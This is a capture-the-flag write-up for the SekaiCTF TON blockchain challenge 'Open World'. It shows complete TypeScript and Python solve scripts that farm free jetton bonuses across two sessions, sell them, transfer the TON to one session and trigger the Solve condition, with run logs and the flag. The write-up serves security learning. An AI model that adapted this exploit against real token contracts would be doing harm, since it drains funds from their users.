Category: Blockchain
Flag: SEKAI{3Xp1or1ng-An-0pen-W0rld-15-FUN}
Description: Jump into the TON =ω=
The handout was a compressed archive with Tolk contracts and a TypeScript launcher for a local TON chain. The archive check showed the useful files immediately.
tar -tf '/home/rei/CTF/Open World/blockchain_open-world.tar.gz'
blockchain_open-world/Acton.toml
blockchain_open-world/Dockerfile
blockchain_open-world/compose.yml
blockchain_open-world/contracts/Challenge.tolk
blockchain_open-world/contracts/JettonMinter.tolk
blockchain_open-world/contracts/JettonWallet.tolk
blockchain_open-world/contracts/errors.tolk
blockchain_open-world/contracts/fees-management.tolk
blockchain_open-world/contracts/jetton-utils.tolk
blockchain_open-world/contracts/messages.tolk
blockchain_open-world/contracts/storage.tolk
blockchain_open-world/sandbox/deploy-challenge.ts
blockchain_open-world/sandbox/launcher.ts
blockchain_open-world/sandbox/localchain.ts
blockchain_open-world/sandbox/server.ts
The contracts build into TypeScript wrappers, which made the remote interaction less error-prone.
PATH="$HOME/.acton/bin:$PATH" npm run build
> acton build
Compiling contracts
Compiling JettonWallet
Compiling JettonMinter
Compiling Challenge
PATH="$HOME/.acton/bin:$PATH" npm run wrappers-ts
> acton wrapper --all --ts
Generated wrappers-ts/Challenge.gen.ts
Generated wrappers-ts/JettonMinter.gen.ts
Generated wrappers-ts/JettonWallet.gen.ts
The relevant logic was in contracts/Challenge.tolk. The constants set a token price of ton("2"), a flag price of 100, and each PlayerBonus minted FLAG_PRICE / 2, so one bonus was only 50 jettons.
const TOKEN_PRICE: coins = ton("2")
const FLAG_PRICE: coins = 100
const BUY_MINT_TON_AMOUNT: coins = ton("0.12")
PlayerBonus => {
var storage = lazy ChallengeStorage.load();
assert (storage.minter != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
val hasBonus = storage.remainingPlayerBonus != 0;
storage.remainingPlayerBonus -= 1;
storage.save();
if (hasBonus) {
val mintMsg = createMessage({
bounce: false,
dest: storage.minter!,
value: 0,
body: MintNewJettons {
queryId: 0,
mintRecipient: in.senderAddress,
tonAmount: ton("0.1"),
internalTransferMsg: InternalTransferStep {
queryId: 0,
jettonAmount: FLAG_PRICE / 2,
transferInitiator: null,
sendExcessesTo: null,
forwardTonAmount: 0,
forwardPayload: createEmptySlice()
}.toCell()
}
});
mintMsg.send(SEND_MODE_CARRY_ALL_REMAINING_MESSAGE_VALUE);
}
}
Sell paid jettonAmount * TOKEN_PRICE TON back to the jetton transfer initiator. Buy minted tokens at the same price. Solve only checked that the transfer notification came from the challenge’s own jetton wallet, that the initiator was storage.player, and that at least 100 jettons were sent with the Solve payload.
Sell => {
if (msg.transferInitiator != null && msg.jettonAmount > 0) {
val payoutMsg = createMessage({
bounce: false,
dest: msg.transferInitiator!,
value: msg.jettonAmount * TOKEN_PRICE,
body: Payout {}
});
payoutMsg.send(SEND_MODE_CARRY_ALL_REMAINING_MESSAGE_VALUE);
}
}
Solve => {
if (msg.transferInitiator != null && storage.player == msg.transferInitiator!) {
if (msg.jettonAmount >= FLAG_PRICE) {
storage.isSolved = true;
storage.save();
}
}
}
The message opcodes confirmed the forward payloads needed for the jetton transfer notifications.
struct (0x13370002) PlayerBonus {}
struct (0x13370003) Buy {
amount: coins
}
struct (0x13370004) Sell {}
struct (0x13370005) Solve {}
At first, I tried to get 100 jettons in one instance. That failed: the first PlayerBonus minted 50 jettons, while the second call decremented the remaining bonus counter but left the same wallet at 50. I also tried a helper wallet and a fake bounced InternalTransferStep; those did not produce a usable solve. The useful path was economic instead. A donor session could claim 50 free jettons, sell them for about 100 TON, and transfer that TON to the solver wallet in another session. The solver session could then claim 50 free jettons, buy 50 more, and send 100 jettons with the Solve payload.
I used this script to solve the PoW and request two remote sessions.
import hashlib
import re
import socket
import ssl
import sys
def recv_until(sock, marker: bytes, timeout: float = 180.0) -> bytes:
sock.settimeout(timeout)
data = b""
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
return data
def solve_pow(prefix: str, difficulty: int) -> str:
target = "0" * difficulty
i = 0
while True:
suffix = str(i)
if hashlib.sha256((prefix + suffix).encode()).hexdigest().startswith(target):
return suffix
i += 1
host = sys.argv[1]
port = int(sys.argv[2])
use_ssl = len(sys.argv) > 3 and sys.argv[3].lower() in {"ssl", "--ssl", "tls"}
raw = socket.create_connection((host, port), timeout=30)
ctx = ssl.create_default_context()
with (ctx.wrap_socket(raw, server_hostname=host) if use_ssl else raw) as s:
s.sendall(b"new\n")
banner = recv_until(s, b"YOUR_INPUT = ")
print(banner.decode(errors="replace"), end="")
m = re.search(rb'sha256\("([0-9a-f]+)" \+ YOUR_INPUT\).*start with (\d+)', banner)
if not m:
raise SystemExit("failed to parse PoW")
prefix = m.group(1).decode()
difficulty = int(m.group(2))
suffix = solve_pow(prefix, difficulty)
print(suffix)
s.sendall(suffix.encode() + b"\n")
rest = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
rest += chunk
print(rest.decode(errors="replace"), end="")
python request_session.py open-world-1545c107967d.instancer.sekai.team 1337 ssl
uuid: a3e4315f-8173-4ed1-8c01-1403882cc414
challenge contract: EQBOjOpoLTFK0rgPFiTyR5GgUoXaptKTVlwsQsNUCA6hB4FU
api v2: https://open-world-api-1545c107967d.instancer.sekai.team/instance/a3e4315f-8173-4ed1-8c01-1403882cc414/api/v2
your wallet id: 263741826
seed: c864f6b9fcbb7fd7b3479b9d0434b31a84a0aa9121ad5c8b0b80483a22c06fe3
This TypeScript script made the donor session claim and sell 50 jettons, then transferred 100 TON to the solver wallet. It also claimed the solver’s 50 free jettons.
import { Address, beginCell, SendMode, toNano } from '@ton/core';
import { keyPairFromSeed } from '@ton/crypto';
import { TonClient, WalletContractV3R2 } from '@ton/ton';
import { Challenge } from './wrappers-ts/Challenge.gen';
import { JettonMinter } from './wrappers-ts/JettonMinter.gen';
import { JettonWallet } from './wrappers-ts/JettonWallet.gen';
const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms));
type Ctx = {
name: string;
apiBase: string;
client: TonClient;
wallet: any;
sender: any;
keyPair: ReturnType<typeof keyPairFromSeed>;
challenge: any;
jettonWallet: any;
address: Address;
};
async function waitSeqno(wallet: any, oldSeqno: number, label: string) {
for (let i = 0; i < 80; i++) {
const seqno = await wallet.getSeqno();
if (seqno > oldSeqno) {
console.log(`[+] ${label}: seqno ${oldSeqno} -> ${seqno}`);
return seqno;
}
await sleep(1500);
}
throw new Error(`timeout waiting for ${label}`);
}
async function waitFor<T>(label: string, fn: () => Promise<T | undefined | null | false>, tries = 100): Promise<T> {
let lastErr: unknown = undefined;
for (let i = 0; i < tries; i++) {
try {
const result = await fn();
if (result) {
console.log(`[+] ${label}`);
return result as T;
}
} catch (e) {
lastErr = e;
}
await sleep(1500);
}
throw new Error(`timeout waiting for ${label}: ${lastErr}`);
}
async function makeCtx(name: string, apiBaseRaw: string, challengeRaw: string, seedHex: string, walletIdRaw: string): Promise<Ctx> {
const apiBase = apiBaseRaw.replace(/\/$/, '');
const client = new TonClient({ endpoint: `${apiBase}/jsonRPC`, timeout: 60000 });
const keyPair = keyPairFromSeed(Buffer.from(seedHex, 'hex'));
const wallet = client.open(WalletContractV3R2.create({ workchain: -1, publicKey: keyPair.publicKey, walletId: Number(walletIdRaw) }));
const sender = wallet.sender(keyPair.secretKey);
const challenge = client.open(Challenge.fromAddress(Address.parse(challengeRaw)));
const minterAddress = await waitFor(`${name} minter initialized`, async () => await challenge.getMinter());
const minter = client.open(JettonMinter.fromAddress(minterAddress));
const jettonAddress = await minter.getWalletAddress(wallet.address);
const jettonWallet = client.open(JettonWallet.fromAddress(jettonAddress));
console.log(`[+] ${name} wallet: ${wallet.address.toString()}`);
console.log(`[+] ${name} challenge: ${challenge.address.toString()}`);
console.log(`[+] ${name} minter: ${minterAddress.toString()}`);
console.log(`[+] ${name} jetton wallet: ${jettonAddress.toString()}`);
return { name, apiBase, client, wallet, sender, keyPair, challenge, jettonWallet, address: wallet.address };
}
async function claimBonus(ctx: Ctx) {
const seqno = await ctx.wallet.getSeqno();
await ctx.challenge.sendPlayerBonus(ctx.sender, toNano('0.2'), {});
await waitSeqno(ctx.wallet, seqno, `${ctx.name} PlayerBonus`);
await waitFor(`${ctx.name} has 50 jettons`, async () => {
const bal = (await ctx.jettonWallet.getWalletData()).jettonBalance;
console.log(`[.] ${ctx.name} jettons: ${bal}`);
return bal >= 50n ? true : undefined;
});
}
async function main() {
const args = process.argv.slice(2);
if (args.length !== 10) {
console.error('usage: ts-node solve_two_sessions.ts <donor-api> <donor-challenge> <donor-seed> <donor-wallet-id> <solver-api> <solver-challenge> <solver-seed> <solver-wallet-id> <solver-uuid> <nc-host:port-or-host>');
process.exit(2);
}
const [dApi, dChallenge, dSeed, dWalletId, sApi, sChallenge, sSeed, sWalletId] = args;
const donor = await makeCtx('donor', dApi, dChallenge, dSeed, dWalletId);
const solver = await makeCtx('solver', sApi, sChallenge, sSeed, sWalletId);
await claimBonus(donor);
const sellPayload = beginCell().storeUint(0x13370004, 32).endCell().beginParse();
let seqno = await donor.wallet.getSeqno();
await donor.jettonWallet.sendAskToTransfer(donor.sender, toNano('0.25'), {
queryId: 1n,
jettonAmount: 50n,
transferRecipient: donor.challenge.address,
sendExcessesTo: donor.address,
customPayload: null,
forwardTonAmount: toNano('0.05'),
forwardPayload: sellPayload,
});
await waitSeqno(donor.wallet, seqno, 'donor sells 50 jettons');
await waitFor('donor received sell payout', async () => {
const bal = await donor.client.getBalance(donor.address);
console.log(`[.] donor TON: ${bal}`);
return bal > toNano('100.2') ? true : undefined;
});
seqno = await donor.wallet.getSeqno();
await donor.sender.send({
to: solver.address,
value: toNano('100'),
bounce: false,
sendMode: SendMode.PAY_GAS_SEPARATELY,
});
await waitSeqno(donor.wallet, seqno, 'donor funds solver');
await claimBonus(solver);
await waitFor('solver received donor TON', async () => {
const bal = await solver.client.getBalance(solver.address);
console.log(`[.] solver TON: ${bal}`);
return bal > toNano('100.8') ? true : undefined;
});
seqno = await solver.wallet.getSeqno();
await solver.challenge.sendBuy(solver.sender, toNano('100.3'), { amount: 50n });
await waitSeqno(solver.wallet, seqno, 'solver buys 50 jettons');
await waitFor('solver has 100 jettons', async () => {
const bal = (await solver.jettonWallet.getWalletData()).jettonBalance;
console.log(`[.] solver jettons: ${bal}`);
return bal >= 100n ? true : undefined;
});
const solvePayload = beginCell().storeUint(0x13370005, 32).endCell().beginParse();
seqno = await solver.wallet.getSeqno();
await solver.jettonWallet.sendAskToTransfer(solver.sender, toNano('0.25'), {
queryId: 2n,
jettonAmount: 100n,
transferRecipient: solver.challenge.address,
sendExcessesTo: solver.address,
customPayload: null,
forwardTonAmount: toNano('0.05'),
forwardPayload: solvePayload,
});
await waitSeqno(solver.wallet, seqno, 'solver transfers 100 with Solve payload');
await waitFor('solver challenge is solved', async () => await solver.challenge.getIsSolved(), 100);
console.log('SOLVED');
}
main().catch((err) => {
console.error(err);
process.exit(1);
});
ts-node solve_two_sessions.ts 'https://open-world-api-1545c107967d.instancer.sekai.team/instance/cee685d1-a820-4d98-ba17-b17a9eb54f66/api/v2' 'EQAolz-1xbVPRekYF9iTcMJwaHY4XKoaI_njSX9iSMgRl3iy' 'be9170458001a9fc53c12b12281a943708818ef8e7ffda016d5850f5ff15e6a5' '2132176261' 'https://open-world-api-1545c107967d.instancer.sekai.team/instance/a3e4315f-8173-4ed1-8c01-1403882cc414/api/v2' 'EQBOjOpoLTFK0rgPFiTyR5GgUoXaptKTVlwsQsNUCA6hB4FU' 'c864f6b9fcbb7fd7b3479b9d0434b31a84a0aa9121ad5c8b0b80483a22c06fe3' '263741826' 'a3e4315f-8173-4ed1-8c01-1403882cc414' 'open-world-1545c107967d.instancer.sekai.team:1337'
[+] donor wallet: Ef8haTbKjz-GuAAs1PTVdZdr-G0dLPyzmdwzE__m-LBJGsYy
[+] donor challenge: EQAolz-1xbVPRekYF9iTcMJwaHY4XKoaI_njSX9iSMgRl3iy
[+] solver wallet: Ef-lY01zDpiKrwTi1toNHBkHIVSpRebB9tcFFM8_YXyl-nwR
[+] solver challenge: EQBOjOpoLTFK0rgPFiTyR5GgUoXaptKTVlwsQsNUCA6hB4FU
[+] donor PlayerBonus: seqno 0 -> 1
[+] donor has 50 jettons
[+] donor sells 50 jettons: seqno 1 -> 2
[+] donor received sell payout
[+] donor funds solver: seqno 2 -> 3
[+] solver PlayerBonus: seqno 0 -> 1
[+] solver has 50 jettons
The first run timed out while waiting for a stricter balance threshold, but the solver wallet already had 100724578409 nanotons and 50 jettons. I finished the same solver session with a smaller script: buy 50 jettons, then send 100 jettons to the challenge with 0x13370005 as the forward payload.
import { Address, beginCell, toNano } from '@ton/core';
import { keyPairFromSeed } from '@ton/crypto';
import { TonClient, WalletContractV3R2 } from '@ton/ton';
import { Challenge } from './wrappers-ts/Challenge.gen';
import { JettonMinter } from './wrappers-ts/JettonMinter.gen';
import { JettonWallet } from './wrappers-ts/JettonWallet.gen';
const sleep = (ms: number) => new Promise(r => setTimeout(r, ms));
async function waitSeq(wallet: any, old: number, label: string) {
for (let i = 0; i < 80; i++) {
const s = await wallet.getSeqno();
if (s > old) { console.log(`[+] ${label}: ${old}->${s}`); return; }
await sleep(1500);
}
throw new Error(`seq timeout: ${label}`);
}
async function waitFor(label: string, fn: () => Promise<boolean>) {
for (let i = 0; i < 80; i++) {
if (await fn()) { console.log(`[+] ${label}`); return; }
await sleep(1500);
}
throw new Error(`timeout: ${label}`);
}
async function main() {
const [apiBase, challengeRaw, seedHex, walletIdRaw] = process.argv.slice(2);
const client = new TonClient({ endpoint: `${apiBase.replace(/\/$/, '')}/jsonRPC`, timeout: 60000 });
const kp = keyPairFromSeed(Buffer.from(seedHex, 'hex'));
const wallet = client.open(WalletContractV3R2.create({ workchain: -1, publicKey: kp.publicKey, walletId: Number(walletIdRaw) }));
const sender = wallet.sender(kp.secretKey);
const challenge = client.open(Challenge.fromAddress(Address.parse(challengeRaw)));
const minter = client.open(JettonMinter.fromAddress(await challenge.getMinter()));
const jw = client.open(JettonWallet.fromAddress(await minter.getWalletAddress(wallet.address)));
console.log('[+] wallet', wallet.address.toString());
console.log('[+] TON', (await client.getBalance(wallet.address)).toString());
console.log('[+] jettons', (await jw.getWalletData()).jettonBalance.toString());
let seq = await wallet.getSeqno();
await challenge.sendBuy(sender, toNano('100.3'), { amount: 50n });
await waitSeq(wallet, seq, 'buy 50');
await waitFor('has 100 jettons', async () => {
const b = (await jw.getWalletData()).jettonBalance;
console.log('[.] jettons', b.toString());
return b >= 100n;
});
const solvePayload = beginCell().storeUint(0x13370005, 32).endCell().beginParse();
seq = await wallet.getSeqno();
await jw.sendAskToTransfer(sender, toNano('0.25'), {
queryId: 42n,
jettonAmount: 100n,
transferRecipient: challenge.address,
sendExcessesTo: wallet.address,
customPayload: null,
forwardTonAmount: toNano('0.05'),
forwardPayload: solvePayload,
});
await waitSeq(wallet, seq, 'send Solve');
await waitFor('is solved', async () => await challenge.getIsSolved());
console.log('SOLVED');
}
main().catch(e => { console.error(e); process.exit(1); });
ts-node finish_solver.ts 'https://open-world-api-1545c107967d.instancer.sekai.team/instance/a3e4315f-8173-4ed1-8c01-1403882cc414/api/v2' 'EQBOjOpoLTFK0rgPFiTyR5GgUoXaptKTVlwsQsNUCA6hB4FU' 'c864f6b9fcbb7fd7b3479b9d0434b31a84a0aa9121ad5c8b0b80483a22c06fe3' '263741826'
[+] wallet Ef-lY01zDpiKrwTi1toNHBkHIVSpRebB9tcFFM8_YXyl-nwR
[+] TON 100724578409
[+] jettons 50
[+] buy 50: 1->2
[.] jettons 100
[+] has 100 jettons
[+] send Solve: 2->3
[+] is solved
SOLVED
With isSolved() true on the solver session, the nc service returned the flag for UUID a3e4315f-8173-4ed1-8c01-1403882cc414.
import socket, ssl, sys, time
host=sys.argv[1]; port=int(sys.argv[2]); uuid=sys.argv[3]
raw=socket.create_connection((host,port),timeout=30)
ctx=ssl.create_default_context()
with ctx.wrap_socket(raw,server_hostname=host) as s:
s.settimeout(60)
data=s.recv(4096)
print(data.decode(errors='replace'),end='')
s.sendall(b'flag\n')
time.sleep(0.5)
data=s.recv(4096)
print(data.decode(errors='replace'),end='')
s.sendall(uuid.encode()+b'\n')
out=b''
while True:
try:
c=s.recv(4096)
except TimeoutError:
break
if not c: break
out+=c
print(out.decode(errors='replace'),end='')
python get_flag.py open-world-1545c107967d.instancer.sekai.team 1337 a3e4315f-8173-4ed1-8c01-1403882cc414
SEKAI{3Xp1or1ng-An-0pen-W0rld-15-FUN}